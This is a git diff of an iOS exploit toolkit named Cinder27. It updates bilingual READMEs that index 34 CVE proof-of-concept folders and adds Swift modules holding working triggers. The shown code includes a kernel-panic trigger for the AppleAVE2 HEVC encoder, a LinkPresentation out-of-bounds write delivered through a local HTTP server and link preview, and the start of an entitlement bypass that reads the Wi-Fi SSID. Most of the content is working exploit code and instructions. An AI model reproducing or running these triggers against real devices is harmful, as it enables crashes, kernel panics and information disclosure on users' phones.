Block | Contents | |---|---| -| `CVE-2026-XXXX/` (31) | One folder per CVE with the POC proper inside: a `.py` seed builder (standalone runnable), a `.swift` seed construction + trigger closures (standalone typecheckable), and a `.c` twin — self-contained seed + trigger + `main()`, compiles and runs standalone on macOS arm64 | +| `CVE-2026-XXXX/` (34) | One folder per CVE with the POC proper inside: a `.py` seed builder (standalone runnable), a `.swift` seed construction + trigger closures (standalone typecheckable), and a `.c` twin — self-contained seed + trigger + `main()`, compiles and runs standalone on macOS arm64 | | `/` (11) | Modules without a CVE number — tools, probes, baselines, sandbox primitives — named by module id, same folder-per-file shape | | `Sources/` `scripts/` `Resources/` `Info.plist` | The Cinder27 app itself (the verification harness; build below) | -42 Swift POC files (all pass standalone typecheck) + 5 Python seed builders (byte-identical output to the app's built-in seeds) + 31 C POC files (compile clean with `clang -O2 -Wall` on macOS arm64, each with a recorded oracle). +45 Swift POC files (all pass standalone typecheck) + 5 Python seed builders (byte-identical output to the app's built-in seeds) + 34 C POC files (compile clean with `clang -O2 -Wall` on macOS arm64, each with a recorded oracle). -## POC index — 31 CVE folders +## POC index — 34 CVE folders Composite ids (e.g. `CVE-2026-112627 / 112561`) collapse into the primary id's folder; where one CVE is hit by several modules, the trigger closures sit side by side in the same file. @@ -35,6 +35,7 @@ Composite ids (e.g. `CVE-2026-112627 / 112561`) collapse into the primary id's f | [CVE-2026-112610](CVE-2026-112610/) | `cg.cmap` | CoreGraphics · _cmap_convert | OOB write | in-process | CMap /UseCMap recursion out-of-bounds write (negative-result probe) | `CVE-2026-112610.swift` · `CVE-2026-112610.c` | | [CVE-2026-112611](CVE-2026-112611/) | `cg.shading`, `cg.shading.sweep` | CoreGraphics · _cg_shading_type5_draw | OOB write | in-process | Type-5 shading stack overflow (value-controlled OOB write) | `CVE-2026-112611.swift` · `CVE-2026-112611.c` | | [CVE-2026-112619](CVE-2026-112619/) | `cal.unzip` | CalendarFoundation · _UnzipArchiveWithLimits | OOB write | system process | Calendar attachment extraction containment | `CVE-2026-112619.swift` · `CVE-2026-112619.c` | +| [CVE-2026-112621](CVE-2026-112621/) | `lp.heic`, `lp.heic.fire` | LinkPresentation · LPAnimatedImageTranscoder | OOB write | in-process | Link-preview multi-frame size mismatch (later frame taller than the pool) | `CVE-2026-112621.swift` · `CVE-2026-112621.c` | | [CVE-2026-112625](CVE-2026-112625/) | `iio.ktx2`, `iio.pvr` | ImageIO · KTX2ReadPlugin | integer overflow | in-process | KTX2 dimension and level size arithmetic | `CVE-2026-112625.py` · `CVE-2026-112625.swift` · `CVE-2026-112625.c` | | [CVE-2026-112627](CVE-2026-112627/) | `iio.dds.bc7`, `iio.appx` | ImageIO · BCReadPlugin::initialize | OOB read | in-process | BC7 texture mip truncation | `CVE-2026-112627.swift` · `CVE-2026-112627.c` | | [CVE-2026-112629](CVE-2026-112629/) | `iio.jpeg.gps` | ImageIO · GPSCopy::processData | OOB read | in-process | GPS IFD value offset out of bounds | `CVE-2026-112629.swift` · `CVE-2026-112629.c` | @@ -48,11 +49,13 @@ Composite ids (e.g. `CVE-2026-112627 / 112561`) collapse into the primary id's f | [CVE-2026-112683](CVE-2026-112683/) | `font.cff` | FontParser · charstring interpreter | OOB write | in-process | CFF Type2 charstring operand stack overflow | `CVE-2026-112683.py` · `CVE-2026-112683.swift` · `CVE-2026-112683.c` | | [CVE-2026-112688](CVE-2026-112688/) | `cm.rpu`, `cm.rpu.sweep` | CoreMedia · hevcbridgeParseVdrDmDataPayloadExMetadataBlocks | OOB write | system process | Dolby Vision RPU extension metadata block array overrun | `CVE-2026-112688.swift` · `CVE-2026-112688.c` | | [CVE-2026-112696 / 84494](CVE-2026-112696/) | `probe.ane` | AppleH16ANEInterface | OOB write | kernel | ANE kernel interface reachability | `CVE-2026-112696.swift` · `CVE-2026-112696.c` | +| [CVE-2026-112705](CVE-2026-112705/) | `ave.ntl`, `ave.ntl.fire` | AppleAVE2 · VideoToolbox HEVC encoder | OOB write | kernel | `NumberOfTemporalLayers` 16463 → kernel data abort | `CVE-2026-112705.swift` · `CVE-2026-112705.c` | | [CVE-2026-112706](CVE-2026-112706/) | `cm.fdleak`, `cm.fdleak.boundary` | CoreMedia · mediaplaybackd.bytestream.xpc | info leak | system process | CoreMedia bytestream XPC cross-sandbox file descriptor acquisition | `CVE-2026-112706.swift` · `CVE-2026-112706.c` | | [CVE-2026-113907](CVE-2026-113907/) | `aud.haptic`, `aud.immersive` | AudioToolbox · AVHapticServerInstance | OOB write | system process | AVHaptic custom audio event format validation | `CVE-2026-113907.swift` · `CVE-2026-113907.c` | | [CVE-2026-113910](CVE-2026-113910/) | `kern.decmpfs` | XNU · AppleFSCompressionTypeZlib | info leak | kernel | decmpfs chunked decompression under-produce → kernel heap disclosure | `CVE-2026-113910.swift` · `CVE-2026-113910.c` | | [CVE-2026-113912 / 86972](CVE-2026-113912/) | `aud.drc` | AudioCodecs · mpddrc::UniDrcSelection | OOB read | system process | MPEG-D DRC downmix matrix coefficient validation | `CVE-2026-113912.swift` · `CVE-2026-113912.c` | | [CVE-2026-65385](CVE-2026-65385/) | `kext.iohid` | IOKit.framework · IOHIDEventAppendEvent | OOB write | kernel | IOKit event short-heap fixed-offset write | `CVE-2026-65385.swift` · `CVE-2026-65385.c` | +| [CVE-2026-84636](CVE-2026-84636/) | `sc.dynamicstore` | SystemConfiguration · configd dynamic store | info leak | system process | SSID + router MAC without the `wifi-info` entitlement | `CVE-2026-84636.swift` · `CVE-2026-84636.c` | ## Modules without a CVE — 11 @@ -92,7 +95,7 @@ Every CVE folder carries a C twin — the same verification in plain C, compilin 4. **Oracle** — printed to stdout: OSStatus codes, parse-entry refusals, XPC reply types, signal / crash outcomes 5. **`main()`** — argument-parameterised where the Swift version is (depth, block-count, path); the seed file is written to the working directory for inspection -All 31 compile clean with `clang -O2 -Wall` — zero warnings — and each has a recorded oracle from this exact host. +All 34 compile clean with `clang -O2 -Wall` — zero warnings — and each has a recorded oracle from this exact host. ## Running @@ -128,15 +131,15 @@ bash scripts/build-sim.sh # → build/sim/Cinder27.app (arm64 simulator) python3 scripts/gen_seeds.py # → seeds/ (the app's built-in seeds, byte-identical to the .py POCs) ``` -Device install: bundle id `com.jbjf.cinder27` (v2.0 build 3), unsigned — sign with your own certificate + a matching (or wildcard) provisioning profile, then sideload. +Device install: bundle id `com.jbjf.cinder27` (v2.1 build 4), unsigned — sign with your own certificate + a matching (or wildcard) provisioning profile, then sideload. ## Verification status -Full 51-module regression (simulator build): **47 done + 4 armed**. +Full 56-module regression (simulator build): **50 done + 4 armed + 2 fire modules left unrun by design**. The two fire modules are the deliberate death oracles for 112705 and 112621; they are compiled in and require a tap. Armed is not a timeout — it is the **death oracle firing**: the payload crashes the process, the journal stays armed, the process vanishes. The cm.rpu / cm.rpu.sweep crash stacks land inside `CMGetDMVersionLevelFromRPU` with SIGSEGV; the C twin pins the mechanism — the iOS surface is the 4-argument `(bytes, count, u32*, u32*)` form, while the macOS export takes a single `CFDataRef` (verified by disassembly: arg0 goes through a CFRetain-style GOT call before `FigHEVCBridge_GetRPUMetadata`), so the Swift 4-arg call dies at entry on the simulator's CoreMedia. cg.shading / cg.shading.sweep are R=136 long-overflow ladder sweeps, by design advancing within one process to the fatal rung. -All 31 C twins compile clean — `clang -O2 -Wall`, zero warnings, macOS arm64 — and each runs with a recorded oracle on the dev host: 112522 raises SIGTRAP (the 2-byte OOB write caught by malloc), 112507 survives the ring race with -300 / invalid-destination receipts, 112706 answers 'Connection invalid' (mediaplaybackd bytestream XPC absent on macOS — silent-service verdict), 112485 surfaces the PEGTL depth receipt (`Expected } at 'def Xform "n1999"'`), 113910 reads back plain 0x41s (decmpfs does not engage for files with existing data). The rest refuse at the entry layer — same receipts as the app harness. +All 34 C twins compile clean — `clang -O2 -Wall`, zero warnings, macOS arm64 — and each runs with a recorded oracle on the dev host: 112522 raises SIGTRAP (the 2-byte OOB write caught by malloc), 112507 survives the ring race with -300 / invalid-destination receipts, 112706 answers 'Connection invalid' (mediaplaybackd bytestream XPC absent on macOS — silent-service verdict), 112485 surfaces the PEGTL depth receipt (`Expected } at 'def Xform "n1999"'`), 113910 reads back plain 0x41s (decmpfs does not engage for files with existing data). The three arrivals add their own receipts: 112621 builds the 256×16 → 256×48 container and the 48-row clear faults at a guard page exactly 32,768 bytes past the 16,384-byte pool; 84636 enumerates configd's `State:/Network` tree and reads `Global/DNS` and the primary service while `CNCopyCurrentNetworkInfo` is unavailable on the host — on a device the same call returns nil without the entitlement. 112705 compiles but is never executed on the host: its `.c` carries a `--force-host` gate because a frame submit reaches the same AppleAVE2 driver that panicked this Mac, and the app splits it into a property probe plus a separate fire module. The rest refuse at the entry layer — same receipts as the app harness. ## Module semantics diff --git a/README.zh-CN.md b/README.zh-CN.md index 5d08c32..4e21975 100644 --- a/README.zh-CN.md +++ b/README.zh-CN.md @@ -2,7 +2,7 @@ [English](README.md) -iOS 17.0–27.1 漏洞验证与设备修改工具链,**51 个模块**。主靶:**iOS 27.0.1 / iPhone 18 Pro Max**(iPhone19,7 · 24A446)。 +iOS 17.0–27.1 漏洞验证与设备修改工具链,**56 个模块**。主靶:**iOS 27.0.1 / iPhone 18 Pro Max**(iPhone19,7 · 24A446)。 组件覆盖:ImageIO、CoreGraphics、CoreMedia、FontParser、ArchiveUtility、VideoToolbox、AudioToolbox、Calendar、Dolby Vision RPU、XNU 内核 IPC、沙盒与文件系统、GPT / kext、HID / 外设 / 无线链路、entitlement 探测。 @@ -10,13 +10,13 @@ iOS 17.0–27.1 漏洞验证与设备修改工具链,**51 个模块**。主靶 | 区块 | 内容 | |---|---| -| `CVE-2026-XXXX/`(31 个) | 每个 CVE 一个文件夹,POC 本体在文件夹内:`.py` 种子构建器(可独立运行)、`.swift` 种子构造 + 触发闭包(可独立 typecheck),以及 `.c` 双子——种子 + 触发 + `main()` 自包含,在 macOS arm64 上独立编译运行 | +| `CVE-2026-XXXX/`(34 个) | 每个 CVE 一个文件夹,POC 本体在文件夹内:`.py` 种子构建器(可独立运行)、`.swift` 种子构造 + 触发闭包(可独立 typecheck),以及 `.c` 双子——种子 + 触发 + `main()` 自包含,在 macOS arm64 上独立编译运行 | | `<模块名>/`(11 个) | 无 CVE 编号的模块——工具、探针、基线、沙盒原语——按模块 id 命名,同样一文件夹一文件 | | `Sources/` `scripts/` `Resources/` `Info.plist` | Cinder27 app 主体(验证台本体,构建见下) | -共 42 个 Swift POC 文件(全部通过独立 typecheck)+ 5 个 Python 种子构建器(产物与 app 内置种子逐字节一致)+ 31 个 C POC 文件(macOS arm64 上 `clang -O2 -Wall` 零警告编译通过,各自带一份记录在案的 oracle)。 +共 45 个 Swift POC 文件(全部通过独立 typecheck)+ 5 个 Python 种子构建器(产物与 app 内置种子逐字节一致)+ 34 个 C POC 文件(macOS arm64 上 `clang -O2 -Wall` 零警告编译通过,各自带一份记录在案的 oracle)。 -## POC 索引 — 31 个 CVE 文件夹 +## POC 索引 — 34 个 CVE 文件夹 复合编号(如 `CVE-2026-112627 / 112561`)归并到主编号的文件夹;同一 CVE 命中多个模块时,触发闭包并列在同一文件里。 @@ -35,6 +35,7 @@ iOS 17.0–27.1 漏洞验证与设备修改工具链,**51 个模块**。主靶 | [CVE-2026-112610](CVE-2026-112610/) | `cg.cmap` | CoreGraphics · _cmap_convert | OOB 写 | 进程内 | CMap /UseCMap 递归越界写(负结果探针) | `CVE-2026-112610.swift` · `CVE-2026-112610.c` | | [CVE-2026-112611](CVE-2026-112611/) | `cg.shading`, `cg.shading.sweep` | CoreGraphics · _cg_shading_type5_draw | OOB 写 | 进程内 | Type-5 阴影栈溢出(值可控 OOB 写) | `CVE-2026-112611.swift` · `CVE-2026-112611.c` | | [CVE-2026-112619](CVE-2026-112619/) | `cal.unzip` | CalendarFoundation · _UnzipArchiveWithLimits | OOB 写 | 系统进程 | 日历附件解压容器逃逸 | `CVE-2026-112619.swift` · `CVE-2026-112619.c` | +| [CVE-2026-112621](CVE-2026-112621/) | `lp.heic`, `lp.heic.fire` | LinkPresentation · LPAnimatedImageTranscoder | OOB 写 | 进程内 | 链接预览双帧尺寸不一致(后帧高于池) | `CVE-2026-112621.swift` · `CVE-2026-112621.c` | | [CVE-2026-112625](CVE-2026-112625/) | `iio.ktx2`, `iio.pvr` | ImageIO · KTX2ReadPlugin | 整数溢出 | 进程内 | KTX2 维度/层级尺寸运算 | `CVE-2026-112625.py` · `CVE-2026-112625.swift` · `CVE-2026-112625.c` | | [CVE-2026-112627](CVE-2026-112627/) | `iio.dds.bc7`, `iio.appx` | ImageIO · BCReadPlugin::initialize | OOB 读 | 进程内 | BC7 纹理 mip 截断 | `CVE-2026-112627.swift` · `CVE-2026-112627.c` | | [CVE-2026-112629](CVE-2026-112629/) | `iio.jpeg.gps` | ImageIO · GPSCopy::processData | OOB 读 | 进程内 | GPS IFD 值偏移越界 | `CVE-2026-112629.swift` · `CVE-2026-112629.c` | @@ -48,6 +49,7 @@ iOS 17.0–27.1 漏洞验证与设备修改工具链,**51 个模块**。主靶 | [CVE-2026-112683](CVE-2026-112683/) | `font.cff` | FontParser · charstring 解释器 | OOB 写 | 进程内 | CFF Type2 charstring 操作数栈溢出 | `CVE-2026-112683.py` · `CVE-2026-112683.swift` · `CVE-2026-112683.c` | | [CVE-2026-112688](CVE-2026-112688/) | `cm.rpu`, `cm.rpu.sweep` | CoreMedia · hevcbridgeParseVdrDmDataPayloadExMetadataBlocks | OOB 写 | 系统进程 | Dolby Vision RPU 扩展元数据块数组越界 | `CVE-2026-112688.swift` · `CVE-2026-112688.c` | | [CVE-2026-112696 / 84494](CVE-2026-112696/) | `probe.ane` | AppleH16ANEInterface | OOB 写 | 内核 | ANE 内核接口可达性 | `CVE-2026-112696.swift` · `CVE-2026-112696.c` | +| [CVE-2026-112705](CVE-2026-112705/) | `ave.ntl`, `ave.ntl.fire` | AppleAVE2 · VideoToolbox HEVC 编码器 | OOB 写 | 内核 | `NumberOfTemporalLayers` 16463 → 内核 data abort | `CVE-2026-112705.swift` · `CVE-2026-112705.c` | | [CVE-2026-112706](CVE-2026-112706/) | `cm.fdleak`, `cm.fdleak.boundary` | CoreMedia · mediaplaybackd.bytestream.xpc | 信息泄露 | 系统进程 | CoreMedia bytestream XPC 跨沙盒文件描述符获取 | `CVE-2026-112706.swift` · `CVE-2026-112706.c` | | [CVE-2026-113907](CVE-2026-113907/) | `aud.haptic`, `aud.immersive` | AudioToolbox · AVHapticServerInstance | OOB 写 | 系统进程 | AVHaptic 自定义音频事件格式校验 | `CVE-2026-113907.swift` · `CVE-2026-113907.c` | | [CVE-2026-113910](CVE-2026-113910/) | `kern.decmpfs` | XNU · AppleFSCompressionTypeZlib | 信息泄露 | 内核 | decmpfs 分块解压欠产出 → 内核堆泄露 | `CVE-2026-113910.swift` · `CVE-2026-113910.c` | @@ -92,7 +94,7 @@ iOS 17.0–27.1 漏洞验证与设备修改工具链,**51 个模块**。主靶 4. **预言机** —— 打印到 stdout:OSStatus 码、入口拒绝回执、XPC 回复类型、信号/崩溃结果 5. **`main()`** —— Swift 版可参数化的地方同样参数化(深度、块数、路径);种子文件写入工作目录备查 -31 个全部 `clang -O2 -Wall` 零警告编译通过,且都在本机跑出记录在案的 oracle。 +34 个全部 `clang -O2 -Wall` 零警告编译通过,且都在本机跑出记录在案的 oracle。 ## 运行 @@ -128,15 +130,15 @@ bash scripts/build-sim.sh # → build/sim/Cinder27.app(arm64 模拟器 python3 scripts/gen_seeds.py # → seeds/(app 内置种子,与 .py POC 产物逐字节一致) ``` -设备安装:bundle id `com.jbjf.cinder27`(v2.0 build 3),未签名——用自有证书 + 匹配(或通配符)描述文件签名后侧载。 +设备安装:bundle id `com.jbjf.cinder27`(v2.1 build 4),未签名——用自有证书 + 匹配(或通配符)描述文件签名后侧载。 ## 验证状态 -51 模块全量回归(模拟器构建):**47 done + 4 armed**。 +56 模块全量回归(模拟器构建):**50 done + 4 armed + 2 个 fire 模块按设计未运行**。两个 fire 模块是 112705 与 112621 的主动死亡 oracle,已编译进 app,需人为点按。 armed 不是超时——是**死亡 oracle 命中**:负载触发进程崩溃,journal 停在 armed、进程消失。cm.rpu / cm.rpu.sweep 的崩溃栈落在 `CMGetDMVersionLevelFromRPU` 内 SIGSEGV;C 双子钉死了机制——iOS 面是 4 参 `(bytes, count, u32*, u32*)` 形态,而 macOS 导出的是单 `CFDataRef`(反汇编验证:arg0 先走 CFRetain 式 GOT 调用才进 `FigHEVCBridge_GetRPUMetadata`),所以 Swift 的 4 参调用在模拟器的 CoreMedia 上死在入口。cg.shading / cg.shading.sweep 为 R=136 长溢出阶梯扫描,按设计在同一进程内推进到致命级。 -31 个 C 双子全部零警告编译通过(`clang -O2 -Wall`,macOS arm64),且都在开发机上跑出记录在案的 oracle:112522 触发 SIGTRAP(2 字节越界写被 malloc 抓住)、112507 活过全程环竞态并带回 -300 / invalid-destination 回执、112706 回应 'Connection invalid'(macOS 无 mediaplaybackd bytestream XPC——静默服务判定)、112485 拿到 PEGTL 深度回执(`Expected } at 'def Xform "n1999"'`)、113910 读回纯 0x41(macOS 上带数据的文件不走 decmpfs)。其余都在入口层被拒——与 app 验证台同形回执。 +34 个 C 双子全部零警告编译通过(`clang -O2 -Wall`,macOS arm64),且都在开发机上跑出记录在案的 oracle:112522 触发 SIGTRAP(2 字节越界写被 malloc 抓住)、112507 活过全程环竞态并带回 -300 / invalid-destination 回执、112706 回应 'Connection invalid'(macOS 无 mediaplaybackd bytestream XPC——静默服务判定)、112485 拿到 PEGTL 深度回执(`Expected } at 'def Xform "n1999"'`)、113910 读回纯 0x41(macOS 上带数据的文件不走 decmpfs)。三个新条目各自带回执:112621 造出 256×16 → 256×48 双帧容器,48 行 clear 在 guard 页前精确停下——越界 32,768 字节;84636 枚举 configd 的 `State:/Network` 树并读到 `Global/DNS` 与主服务,而宿主上 `CNCopyCurrentNetworkInfo` 不可用——真机上同一调用在无权限时返回 nil。112705 只编译不在宿主执行:`.c` 带 `--force-host` 闸门,因为帧提交会打到把本机打崩的同一个 AppleAVE2 驱动;app 里拆成属性探测与独立 fire 两个模块。其余都在入口层被拒——与 app 验证台同形回执。 ## 模块语义 diff --git a/Sources/Catalog.swift b/Sources/Catalog.swift index 20c7830..bde5ac4 100644 --- a/Sources/Catalog.swift +++ b/Sources/Catalog.swift @@ -4,7 +4,7 @@ import ImageIO enum Catalog { - static let all: [ExploitModule] = coreGraphics + imageIO + imageIO2 + archive + archive2 + coreMedia + crossSandbox + kernel + audio + audio2 + video + fonts + font2 + kext + userspace + tooling + probes + static let all: [ExploitModule] = coreGraphics + imageIO + imageIO2 + archive + archive2 + coreMedia + crossSandbox + kernel + audio + audio2 + video + fonts + font2 + kext + userspace + tooling + probes + arrivals /// Modules that pin a fix Apple shipped in 27.2 (i.e. carry a CVE number). Computed, /// never hardcoded — the overview subtitle reads it, so it cannot go stale. diff --git a/Sources/Catalog4.swift b/Sources/Catalog4.swift new file mode 100644 index 0000000..b6154d6 --- /dev/null +++ b/Sources/Catalog4.swift @@ -0,0 +1,475 @@ +import Foundation +import UIKit +import ImageIO +import CoreGraphics +import CoreMedia +import CoreVideo +import VideoToolbox +import LinkPresentation +import Network +import SystemConfiguration +import SystemConfiguration.CaptiveNetwork +import UniformTypeIdentifiers + +// MARK: - CVE-2026-112705 / CVE-2026-112621 / CVE-2026-84636 +// +// Three arrivals from public research. Each one is split into a probe and, where the +// trigger is destructive, a separate fire module: the probe is safe to run while +// building the lab, the fire module is a deliberate one-tap trigger on a device that +// is allowed to die for the result. + +extension Catalog { + + static let arrivals: [ExploitModule] = [ + + // ── CVE-2026-112705 · AppleAVE2 NumberOfTemporalLayers ────────────── + ExploitModule( + id: "ave.ntl", + titleZh: "AppleAVE2 时间层数属性面(NumberOfTemporalLayers)", + cve: "CVE-2026-112705", + component: "AppleAVE2 · VideoToolbox HEVC encoder", + primitive: .oobWrite, + reach: .kernel, + tier: 3, + summaryZh: """ + VideoToolbox 的 HEVC 压缩会话把 NumberOfTemporalLayers 原样下发给 AppleAVE2 驱动,驱动按声明值索引一张固定大小的层表。16463 越过表尾,第一次提交帧时在 AppleAVE2 +0xDA78 写入固定偏移,内核 data abort;16462 存活。iOS 27.2 在 SetProperty 阶段就返回 -12900。本模块只做属性面:建会话、设置 EncoderUsage=1 / RCMode=20、写入 NTL 并回读,不提交任何帧。 + """, + notesZh: """ + fire 版本才会提交一帧并触发 panic。macOS 上同一驱动同样可达:实测 16463 在 macOS 上 SetProperty 返回 0(回读被归一化为 1),说明属性被接受但值没有透传,帧提交仍有内核崩溃风险 —— 这也是本机被 112705 打崩过一次之后,宿主只编译不执行的原因。设备上跑 fire 之前先确认目标机允许重启。 + """, + run: { ctx in + ctx.arm("ave.ntl", "session + property acceptance") + var lines: [String] = [] + let (session, create) = aveSession() + lines.append("VTCompressionSessionCreate(hvc1) = \(create) \(fourCC(create))") + guard create == 0, let s = session else { + ctx.fail("ave.ntl", "session=\(create)") + throw LabError(message: tl("HEVC 压缩会话创建失败")) + } + defer { VTCompressionSessionInvalidate(s) } + + let su = aveSet(s, "EncoderUsage", NSNumber(value: 1)) + let sr = aveSet(s, "RCMode", NSNumber(value: 20)) + _ = aveSet(s, kVTCompressionPropertyKey_RealTime as String, kCFBooleanFalse) + lines.append("EncoderUsage=\(su) RCMode=\(sr)") + + var accepted: [Int] = [] + for n in [64, 1024, 16462, 16463] { + let st = aveSet(s, "NumberOfTemporalLayers", NSNumber(value: n)) + lines.append("NTL \(n): status=\(st) readback: \(aveRead(s, "NumberOfTemporalLayers"))") + if st == 0 { accepted.append(n) } + } + ctx.disarm("ave.ntl", "accepted=\(accepted.count)/4") + let verdict: String + if accepted.contains(16463) { + verdict = tl("16463 被接受 —— 该构建的设备在 fire 时会 panic") + } else if accepted.isEmpty { + verdict = tl("全部被拒 —— 27.2+ 的修复面") + } else { + verdict = tl("部分档位被接受") + } + return ModuleOutcome(headline: verdict, detail: lines.joined(separator: "\n"), + evidence: [tl("引用: AppleAVE2 +0xDA78, far=0x59"), tl("16462 存活 / 16463 触发")]) + }), + + ExploitModule( + id: "ave.ntl.fire", + titleZh: "AppleAVE2 时间层数越界写(fire:提交一帧)", + cve: "CVE-2026-112705", + component: "AppleAVE2 · VideoToolbox HEVC encoder", + primitive: .oobWrite, + reach: .kernel, + tier: 1, + summaryZh: """ + 完整的 112705 触发:HEVC 会话 → EncoderUsage=1 → RCMode=20 → NumberOfTemporalLayers=16463 → 提交一帧。在 iOS 27.0–27.1 上,驱动在准备这一帧时越界写,内核 data abort,设备重启。进程内看不到返回值 —— 证据是重启后在概览页出现的 processDied 判定,以及 Analytics 里的 panic .ips。 + """, + notesZh: """ + 只应在允许重启的设备上点。模拟器没有 AVE2 硬件编码器,走到 encode 也只会返回状态码,不会崩;macOS 上不要运行对应 POC 的 encode 路径(同驱动,会打崩宿主)。27.2 起 NTL 在 SetProperty 就被拒,fire 会安全返回 -12900。 + """, + run: { ctx in + let detail: String + do { + let (session, create) = aveSession() + guard create == 0, let s = session else { + throw LabError(message: tl("HEVC 会话创建失败: ") + "\(create)") + } + defer { VTCompressionSessionInvalidate(s) } + _ = aveSet(s, "EncoderUsage", NSNumber(value: 1)) + _ = aveSet(s, "RCMode", NSNumber(value: 20)) + _ = aveSet(s, kVTCompressionPropertyKey_RealTime as String, kCFBooleanFalse) + let sn = aveSet(s, "NumberOfTemporalLayers", NSNumber(value: 16463)) + guard sn == 0 else { + ctx.disarm("ave.ntl.fire", "ntl refused \(sn)") + return ModuleOutcome(headline: tl("NTL 被拒 ") + "\(sn)" + tl(" —— 修复构建"), + detail: "NumberOfTemporalLayers=16463 status=\(sn)") + } + var attrs: [CFString: Any] = [:] + attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary + var pb: CVPixelBuffer? + let pc = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720, + kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange, + attrs as CFDictionary, &pb) + guard pc == 0, let pixel = pb else { + throw LabError(message: tl("像素缓冲创建失败: ") + "\(pc)") + } + // Arm last: everything that can fail early has already succeeded. + ctx.arm("ave.ntl.fire", "NTL=16463 encode[0]") + var log = "NumberOfTemporalLayers=16463 accepted\n" + for i in 0..<4 { + let pts = CMTime(value: CMTimeValue(i), timescale: 30) + let st = VTCompressionSessionEncodeFrame(s, imageBuffer: pixel, + presentationTimeStamp: pts, + duration: .invalid, + frameProperties: nil, + infoFlagsOut: nil) { _, _, _ in } + log += "encode[\(i)] status=\(st)\n" + if st != 0 { break } + } + VTCompressionSessionCompleteFrames(s, untilPresentationTimeStamp: .invalid) + detail = log + } + ctx.disarm("ave.ntl.fire", "survived") + return ModuleOutcome(headline: tl("设备存活 —— 未命中该构建"), + detail: detail + tl("没有发生 panic:模拟器无 AVE2,或系统已是 27.2+")) + }), + + // ── CVE-2026-112621 · LinkPresentation multi-frame HEIC ───────────── + ExploitModule( + id: "lp.heic", + titleZh: "LinkPresentation 双帧尺寸不一致(池容量核对)", + cve: "CVE-2026-112621", + component: "LinkPresentation · LPAnimatedImageTranscoder", + primitive: .oobWrite, + reach: .inProcess, + tier: 3, + summaryZh: """ + LPAnimatedImageTranscoder 用第 0 帧的像素尺寸配置 video writer,encodeNextFrame 却从当前解码帧取绘制高宽,目标仍是按第 0 帧分配的 CVPixelBuffer 池。256×16 后接 256×48 的双帧容器让 CGContextClearRect 清零 48 行(49152 字节)进 16384 字节的池,越界 32768 字节。本模块只构造容器并核对两帧尺寸与池容量,不做转码。 + """, + notesZh: """ + 宽度必须保持一致:CoreGraphics 会用池的行跨距校验宽度,512 宽的后续帧会让 CGBitmapContextCreate 直接失败,执行到不了 clear。HEIC 是公告里的载体;模拟器不能编 HEIC 时回退到 TIFF,并以 image/gif 的 MIME 投递 —— LPImage 的 _isAnimated 只看响应头,ImageIO 仍按内容识别。fire 版本才会让 LPMetadataProvider 真正拉取并转码。 + """, + run: { ctx in + ctx.arm("lp.heic", "container + pool math") + var lines: [String] = [] + let seed = lpContainer() + guard let data = seed.data else { + ctx.fail("lp.heic", "container") + throw LabError(message: tl("无法构造双帧容器")) + } + lines.append("format=\(seed.label) bytes=\(data.count)") + let sizes = lpFrameSizes(data) + for (i, s) in sizes.enumerated() { lines.append("frame[\(i)] \(s.0)x\(s.1)") } + guard sizes.count >= 2 else { + ctx.fail("lp.heic", "count=\(sizes.count)") + throw LabError(message: tl("容器没有两帧")) + } + let stride = sizes[0].0 * 4 + let pool = stride * sizes[0].1 + let draw = stride * sizes[1].1 + lines.append("pool = \(sizes[0].0)x\(sizes[0].1) × 4 = \(pool) B (stride \(stride))") + lines.append("draw = frame 1 height \(sizes[1].1) × stride = \(draw) B") + lines.append("overflow = \(draw - pool) B") + lines.append(tl("宽度一致: ") + (sizes[0].0 == sizes[1].0 ? "yes" : "no")) + ctx.disarm("lp.heic", "overflow=\(draw - pool)") + return ModuleOutcome( + headline: draw > pool ? tl("越界 ") + "\(draw - pool) B" : tl("两帧同尺寸"), + detail: lines.joined(separator: "\n"), + evidence: [tl("CGBitmapContextCreate 不校验行数"), tl("clear 写入 48 行 / 池只有 16 行")]) + }), + + ExploitModule( + id: "lp.heic.fire", + titleZh: "LinkPresentation 链接预览越界写(fire:本地 HTTP + LPMetadataProvider)", + cve: "CVE-2026-112621", + component: "LinkPresentation · LPAnimatedImageTranscoder", + primitive: .oobWrite, + reach: .inProcess, + tier: 1, + summaryZh: """ + 走公开投递路径:在 127.0.0.1 上起一个只服务 HTML 与图片的端点,页面 og:image 指向双帧容器,然后调用 LPMetadataProvider。LinkPresentation 自己拉页面、读 og:image、建池、进入 LPAnimatedImageTranscoder。iOS 27.0/27.1 在转码队列上越界写并 SIGBUS/SIGSEGV;27.2 在 encodeNextFrame 比较当前帧与首帧尺寸,不符直接 failed,不进入绘制。 + """, + notesZh: """ + 这是进程内原语:崩的是 app,不是内核。崩溃后重启 app,本模块的判定会是 processDied,engine 日志最后一行是 fire 开始。真机与 Messages 收到链接后点 “加载预览” 是同一条路径;本模块只是把投递端换成本机回环,避免任何外部网络。 + """, + run: { ctx in + var lines: [String] = [] + let seed = lpContainer() + guard let data = seed.data else { throw LabError(message: tl("无法构造双帧容器")) } + let sizes = lpFrameSizes(data) + lines.append("format=\(seed.label) frames=\(sizes.map { "\($0.0)x\($0.1)" }.joined(separator: " → "))") + + let server = LoopbackImageServer(image: data, mime: seed.mime) + let port = try server.start() + guard port != 0, let url = URL(string: "http://127.0.0.1:\(port)/") else { + throw LabError(message: tl("回环服务未能绑定")) + } + lines.append("serving \(url) ct=\(seed.mime)") + + var title: String? + var error: String? + let sem = DispatchSemaphore(value: 0) + ctx.arm("lp.heic.fire", "LPMetadataProvider \(url.absoluteString)") + DispatchQueue.main.async { + let provider = LPMetadataProvider() + provider.timeout = 20 + provider.startFetchingMetadata(for: url) { meta, err in + title = meta?.title + error = err?.localizedDescription + sem.signal() + } + } + _ = sem.wait(timeout: .now() + 30) + let served = server.requestCount + server.stop() + ctx.disarm("lp.heic.fire", "served=\(served)") + + if let error { + return ModuleOutcome(headline: tl("元数据获取失败"), detail: lines.joined(separator: "\n") + "\n" + error, + evidence: [tl("请求数: ") + "\(served)"]) + } + lines.append("requests served: \(served)") + lines.append("metadata title: \(title ?? "(none)")") + return ModuleOutcome(headline: tl("转码器未取第二帧 —— 修复构建"), + detail: lines.joined(separator: "\n"), + evidence: [tl("27.2 在 encodeNextFrame 比较帧尺寸"), tl("崩溃版应留下 processDied")]) + }), + + // ── CVE-2026-84636 · SCDynamicStore without wifi-info ─────────────── + ExploitModule( + id: "sc.dynamicstore", + titleZh: "configd 动态存储读取 SSID 